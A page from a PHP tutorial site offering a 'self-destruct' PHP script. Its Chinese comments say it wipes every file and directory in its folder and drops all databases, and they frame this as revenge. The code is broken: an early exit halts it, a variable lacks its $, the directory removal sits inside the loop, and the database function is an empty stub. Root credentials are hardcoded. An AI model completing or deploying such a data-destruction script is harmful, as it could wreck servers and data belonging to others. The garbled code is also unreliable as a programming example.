Home > php教程 > PHP源码 > body text

PHP self-destruct program – a must-have for private life

大家讲道理
Release: 2016-11-08 17:35:14
Original
1344 people have browsed it

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define(&#39;DB_USER&#39;, &#39;root&#39;);
define(&#39;DB_PWD&#39;, &#39;root&#39;);
define(&#39;DB_HOST&#39;, &#39;localhost&#39;);
define(&#39;DB_PORT&#39;, &#39;3216&#39;);
define(&#39;DB_DAMAGE&#39;, true);  //为false时,不碰数据库
 
run();
 
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
    //删除文件
    deletedir();
    //删除数据库
    deleteDB();
}
 
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = &#39;&#39;){
    if ($dir == &#39;&#39;) {
        $dir = realpath(&#39;.&#39;);
    }
    echo $dir;
    exit();
      if(!handle=@opendir($dir)){     //检测要打开目录是否存在
        die("没有该目录");
      }
      while(false !==($file=readdir($handle))){
               if($file!=="."&&$file!==".."){       //排除当前目录与父级目录
                $file=$dir .DIRECTORY_SEPARATOR. $file;
                if(is_dir($file)){
                    deletedir($file);
                }else{
                    if(@unlink($file)){
                        echo "文件<b>$file</b>删除成功。<br>";
                    }else{
                        echo  "文件<b>$file</b>删除失败!<br>";
                    }
                }
               }
               if(@rmdir($dir)){
                echo "目录<b>$dir</b>删除成功了。<br>\n";
               }else{
                echo "目录<b>$dir</b>删除失败!<br>\n";
               }
           }
 
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
    if(DB_DAMAGE === true){
        //start
    }
}
Copy after login

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!